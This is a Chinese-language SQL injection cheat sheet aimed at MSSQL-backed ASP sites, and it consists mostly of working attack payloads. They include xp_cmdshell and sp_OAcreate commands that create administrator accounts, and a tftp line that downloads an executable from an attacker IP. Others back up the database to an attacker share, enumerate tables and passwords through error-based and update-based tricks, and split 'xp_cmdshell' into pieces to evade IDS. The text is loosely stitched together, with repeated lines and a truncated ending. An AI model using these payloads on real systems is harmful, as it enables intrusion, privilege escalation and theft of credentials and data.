http://xx.xx.xx.xx/111.asp?id=3400;create table cmd (str image);--
传统的存在xp_cmdshell的测试过程:
;exec master..xp_cmdshell \'dir\'
;exec master.dbo.sp_addlogin hax;--
;exec master.dbo.sp_password null,hax,hax;--
;exec master.dbo.sp_addsrvrolemember hax sysadmin;--
;exec master.dbo.xp_cmdshell \'net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add\';--
;exec master.dbo.xp_cmdshell \'net localgroup administrators hax /add\';--
exec master..xp_servicecontrol \'start\', \'schedule\'
exec master..xp_servicecontrol \'start\', \'server\'
http://www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OAcreate \'wscript.shell\',@shell OUTPUT EXEC SP_OAMETHOD @shell,\'run\',null, \'C:/WINNT/system32/cmd.exe /c net user swap 5258 /add\'
;DECLARE @shell INT EXEC SP_OAcreate \'wscript.shell\',@shell OUTPUT EXEC SP_OAMETHOD @shell,\'run\',null, \'C:/WINNT/system32/cmd.exe /c net localgroup administrators swap/add\'
http://localhost/show.asp?id=1\'; exec master..xp_cmdshell \'tftp -i youip get file.exe\'-
declare @a sysname set @a=\'xp_\'+\'cmdshell\' exec @a \'dir c:/\'
declare @a sysname set @a=\'xp\'+\'_cm\'+\'dshell\' exec @a \'dir c:/\'
;declare @a;set @a=db_name();backup database @a to disk=\'你的IP你的共享目录bak.dat\'
如果被限制则可以。
select * from openrowset(\'sqloledb\',\'server\';\'sa\';\'\',\'select \'\'OK!\'\' exec master.dbo.sp_addlogin hax\')
传统查询构造:
select * FROM news where id=... AND topic=... AND .....
admin\'and 1=(select count(*) from [user] where username=\'victim\' and right(left(userpass,01),1)=\'1\') and userpass <>\'
select 123;--
;use master;--
:a\' or name like \'fff%\';-- 显示有一个叫ffff的用户哈。
\'and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype=\'u\' and status>0) where name=\'ffff\';--
说明:
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID
ffff\';update [users] set email=(select top 1 id from sysobjects where xtype=\'u\' and name=\'ad\') where name=\'ffff\';--
象下面这样就可以得到第二个表的名字了
ffff\';update [users] set email=(select top 1 name from sysobjects where xtype=\'u\' and id>581577110) where name=\'ffff\';--<
BR> ffff\';update [users] set email=(select top 1 count(id) from password) where name=\'ffff\';--
ffff\';update [users] set email=(select top 1 pwd from password where id=2) where name=\'ffff\';--
ffff\';update [users] set email=(select top 1 name from password where id=2) where name=\'ffff\';--
exec master..xp_servicecontrol \'start\', \'schedule\'
exec master..xp_servicecontrol \'start\', \'server\'
sp_addextendedproc \'xp_webserver\', \'c:/temp/xp_foo.dll\'
扩展存储就可以通过一般的方法调用:
exec xp_webserver
一旦这个扩展存储执行过,可以这样删除它:
sp_dropextendedproc \'xp_webserver\'
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-
insert into users values( 667,123,123,0xffff)-
insert into users values ( 123, \'admin\'\'--\', \'password\', 0xffff)-
;and user>0
;;and (select count(*) from sysobjects)>0
;;and (select count(*) from mysysobjects)>0 //为access数据库
-----------------------------------------------------------通常注射的一些介绍:
A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件],即是生成语句:
select * from 表名 where 字段=49 And [查询条件]
(B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
select * from 表名 where 字段=\'连续剧\'
注入的参数为Class=连续剧\' and [查询条件] and \'\'=\' ,即是生成语句:
select * from 表名 where 字段=\'连续剧\' and [查询条件] and \'\'=\'\'
(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
select * from 表名 where 字段like \'%关键字%\'
注入的参数为keyword=\' and [查询条件] and \'%25\'=\', 即是生成语句:
select * from 表名 where字段like \'%\' and [查询条件] and \'%\'=\'%\'
;;and (select Top 1 name from sysobjects where xtype=\'U\' and status>0)>0
sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=\'U\' and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。
;;and (select Top 1 col_name(object_id(\'表名\'),1) from sysobjects)>0
从⑤拿到表名后,用object_id(\'表名\')获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。
post.htm内容:主要是方便输入。
枚举出他的数据表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=\'u\' and status>0);--
这是将第一个表名更新到aaa的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>\'刚才得到的表名\')。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=\'u\' and status>0 and name<>\'vote\');--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二
表,^^^^^^一个个的读出,直到没有为止。
读字段是这样:
id=1552;update aaa set aaa=(select top 1 col_name(object_id(\'表名\'),1));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
id=1552;update aaa set aaa=(select top 1 col_name(object_id(\'表名\'),2));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
--------------------------------高级技巧:
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>\'你得到的表名\' 查出一个加一个]) [ where 条件]
select top 1 name from sysobjects where xtype=u and status>0 and name not in(\'table1\',\'table2\',…)
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id(\'要查询的数据表名\'),字段列如:1) [ where 条件]
绕过IDS的检测[使用变量]
declare @a sysname set @a=\'xp_\'+\'cmdshell\' exec @a \'dir c:/\'
declare @a sysname set @a=\'xp\'+\'_cm\'+\'dshell\' exec @a \'dir c:/\'
1、 开启远程数据库
基本语法
select * from OPENROWSET(\'SQLOLEDB\', \'server=servername;uid=sa;pwd=apachy_123\', \'select * from table1\' )
参数: (1) OLEDB Provider name